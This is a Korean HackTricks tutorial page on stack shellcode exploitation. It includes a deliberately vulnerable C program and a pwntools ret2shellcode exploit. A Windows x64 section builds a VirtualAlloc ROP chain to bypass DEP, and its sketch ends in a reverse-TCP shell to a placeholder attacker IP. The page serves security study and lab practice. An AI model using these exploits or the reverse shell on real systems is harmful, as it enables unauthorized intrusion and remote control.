Stack Shellcode

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Stack shellcode์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ทจ์•ฝํ•œ ํ”„๋กœ๊ทธ๋žจ์˜ ์Šคํƒ์— shellcode๋ฅผ ์“ฐ๊ณ , ์ดํ›„ Instruction Pointer (IP) ๋˜๋Š” **Extended Instruction Pointer (EIP)**๋ฅผ ์ด shellcode์˜ ์œ„์น˜๋กœ ๋ณ€๊ฒฝํ•ด ์‹คํ–‰์‹œํ‚ค๋Š” binary exploitation์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์—์„œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ์–ป๊ฑฐ๋‚˜ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๊ณ ์ „์ ์ธ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์•„๋ž˜์—๋Š” ๊ฐ„๋‹จํ•œ C ์˜ˆ์ œ์™€ Python์˜ pwntools๋ฅผ ์‚ฌ์šฉํ•ด ๋Œ€์‘ํ•˜๋Š” exploit๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํฌํ•จํ•œ ๊ณผ์ •์˜ ๊ฐœ์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

C ์˜ˆ์ œ: ์ทจ์•ฝํ•œ ํ”„๋กœ๊ทธ๋žจ

์ทจ์•ฝํ•œ C ํ”„๋กœ๊ทธ๋žจ์˜ ๊ฐ„๋‹จํ•œ ์˜ˆ์ œ๋กœ ์‹œ์ž‘ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

์ด ํ”„๋กœ๊ทธ๋žจ์€ gets() ํ•จ์ˆ˜ ์‚ฌ์šฉ์œผ๋กœ ์ธํ•ด ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ปดํŒŒ์ผ

์—ฌ๋Ÿฌ ๋ณดํ˜ธ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ(์ทจ์•ฝํ•œ ํ™˜๊ฒฝ์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜๊ธฐ ์œ„ํ•ด) ์ด ํ”„๋กœ๊ทธ๋žจ์„ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: ์Šคํƒ ๋ณดํ˜ธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • -z execstack: ์Šคํƒ์„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด๋Š” ์Šคํƒ์— ์ €์žฅ๋œ shellcode๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • -no-pie: Position Independent Executable์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ shellcode๊ฐ€ ์œ„์น˜ํ•  ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์˜ˆ์ธกํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • -m32: ํ”„๋กœ๊ทธ๋žจ์„ 32-bit ์‹คํ–‰ ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค. exploit ๊ฐœ๋ฐœ์—์„œ ๋‹จ์ˆœ์„ฑ์„ ์œ„ํ•ด ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

Pwntools๋ฅผ ์‚ฌ์šฉํ•œ Python Exploit

๋‹ค์Œ์€ pwntools๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ret2shellcode ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” Python exploit์„ ์ž‘์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” NOP slide, shellcode๋กœ ๊ตฌ์„ฑ๋œ payload๋ฅผ ๋งŒ๋“ค๊ณ , ์ด์–ด์„œ EIP๋ฅผ NOP slide๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๋กœ ๋ฎ์–ด์จ shellcode๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

The NOP slide (asm('nop'))๋Š” ์‹คํ–‰์ด ์ •ํ™•ํ•œ ์ฃผ์†Œ์™€ ๊ด€๊ณ„์—†์ด ์šฐ๋ฆฌ shellcode๋กœ โ€œslideโ€œํ•  ํ™•๋ฅ ์„ ๋†’์ด๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. p32() ์ธ์ˆ˜๋ฅผ ๋ฒ„ํผ ์‹œ์ž‘ ์ฃผ์†Œ์— ์ ์ ˆํ•œ ์˜คํ”„์…‹์„ ๋”ํ•œ ๊ฐ’์œผ๋กœ ์กฐ์ •ํ•˜์—ฌ NOP slide์— ๋„๋‹ฌํ•˜๋„๋ก ํ•˜์„ธ์š”.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

ํ˜„๋Œ€ Windows์—์„œ๋Š” stack์ด non-executable (DEP/NX) ์ž…๋‹ˆ๋‹ค. stack BOF ์ดํ›„์—๋„ stack-resident shellcode๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ 64-bit ROP ์ฒด์ธ์„ ๊ตฌ์„ฑํ•˜์—ฌ ๋ชจ๋“ˆ์˜ Import Address Table (IAT)์— ์žˆ๋Š” VirtualAlloc (๋˜๋Š” VirtualProtect)์„ ํ˜ธ์ถœํ•ด stack์˜ ์˜์—ญ์„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋„๋ก ๋งŒ๋“ค๊ณ , ์ฒด์ธ ๋’ค์— ๋ถ™์ธ shellcode๋กœ ๋ฆฌํ„ดํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Key points (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress โ†’ ํ˜„์žฌ stack (e.g., RSP)์—์„œ ์ฃผ์†Œ๋ฅผ ์„ ํƒํ•˜์—ฌ ์ƒˆ๋กœ ํ• ๋‹น๋œ RWX ์˜์—ญ์ด payload์™€ ๊ฒน์น˜๊ฒŒ ํ•œ๋‹ค
  • RDX = dwSize โ†’ chain + shellcode๋ฅผ ๋‹ด๊ธฐ ์ถฉ๋ถ„ํžˆ ํฐ ๊ฐ’ (e.g., 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimal strategy:

  1. ASLR ํ•˜์—์„œ gadget๊ณผ IAT์˜ ์ ˆ๋Œ€ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“ˆ ๋ฒ ์ด์Šค๋ฅผ leak(์˜ˆ: format-string, object pointer ๋“ฑ)์„ ํ†ตํ•ด ํš๋“ํ•œ๋‹ค.
  2. RCX/RDX/R8/R9๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” gadgets(pop ๋˜๋Š” mov/xor ๊ธฐ๋ฐ˜ ์‹œํ€€์Šค)๊ณผ call/jmp [VirtualAlloc@IAT]๋ฅผ ์ฐพ๋Š”๋‹ค. ๋งŒ์•ฝ pop r8/r9๊ฐ€ ์ง์ ‘ ์—†๋‹ค๋ฉด ์‚ฐ์ˆ  gadgets๋ฅผ ์‚ฌ์šฉํ•ด ์ƒ์ˆ˜๋ฅผ ํ•ฉ์„ฑํ•œ๋‹ค(์˜ˆ: r8=0์œผ๋กœ ์„ค์ •ํ•œ ๋’ค r9์— 0x40์„ 40๋ฒˆ ๋”ํ•ด 0x1000์„ ๋งŒ๋“ ๋‹ค).
  3. stage-2 shellcode๋ฅผ ์ฒด์ธ ๋ฐ”๋กœ ๋’ค์— ๋ฐฐ์น˜ํ•œ๋‹ค.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) โ€” if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX โ€” execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

์ œํ•œ๋œ gadget ์„ธํŠธ๋กœ register ๊ฐ’์„ ๊ฐ„์ ‘์ ์œผ๋กœ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret โ†’ r9์„ rbx์—์„œ ์„ค์ •ํ•˜๊ณ , r8์„ 0์œผ๋กœ ๋งŒ๋“ค๋ฉฐ, ์“ฐ๋ ˆ๊ธฐ qword๋กœ ์Šคํƒ์„ ๋ณด์ •ํ•ฉ๋‹ˆ๋‹ค.
  • xor rbx, rsp; ret โ†’ ํ˜„์žฌ ์Šคํƒ ํฌ์ธํ„ฐ๋กœ rbx๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • push rbx; pop rax; mov rcx, rax; ret โ†’ RSP๋กœ๋ถ€ํ„ฐ ์œ ๋„๋œ ๊ฐ’์„ RCX๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.

Pwntools ์Šค์ผ€์น˜ (given a known base and gadgets):

from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

ํŒ:

  • VirtualProtect๋Š” ๊ธฐ์กด ๋ฒ„ํผ๋ฅผ RX๋กœ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๋” ์ ํ•ฉํ•œ ๊ฒฝ์šฐ ๋น„์Šทํ•˜๊ฒŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค; ๋งค๊ฐœ๋ณ€์ˆ˜ ์ˆœ์„œ๋งŒ ๋‹ค๋ฆ…๋‹ˆ๋‹ค.

  • stack ๊ณต๊ฐ„์ด ๋นก๋นกํ•˜๋ฉด RWX๋ฅผ ๋‹ค๋ฅธ ๊ณณ์— ํ• ๋‹น(RCX=NULL)ํ•˜๊ณ  ์Šคํƒ์„ ์žฌ์‚ฌ์šฉํ•˜์ง€ ๋ง๊ณ  ๊ทธ ์ƒˆ ์˜์—ญ์œผ๋กœ jmpํ•˜์„ธ์š”.

  • RSP๋ฅผ ์กฐ์ •ํ•˜๋Š” gadgets(e.g., add rsp, 8; ret)์„ ํ•ญ์ƒ ๊ณ ๋ คํ•˜์—ฌ junk qwords๋ฅผ ์‚ฝ์ž…ํ•˜์„ธ์š”.

  • ASLR ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰ ๊ฐ„ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†์–ด์„œ ํ•จ์ˆ˜๊ฐ€ ์ €์žฅ๋  ์ฃผ์†Œ๊ฐ€ ํ•ญ์ƒ ๊ฐ™์ง€ ์•Š์œผ๋ฉฐ win ํ•จ์ˆ˜๊ฐ€ ์–ด๋””์— ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ์•Œ์•„๋‚ด๋ ค๋ฉด ์–ด๋–ค leak๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

  • Stack Canaries ๋˜ํ•œ ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์†์ƒ๋œ EIP ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ๊ฒฐ์ฝ” ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

  • NX stack protection์€ ์Šคํƒ ๋‚ด๋ถ€์˜ shellcode ์‹คํ–‰์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์˜์—ญ์ด ์‹คํ–‰ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๊ธฐํƒ€ ์˜ˆ์ œ ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ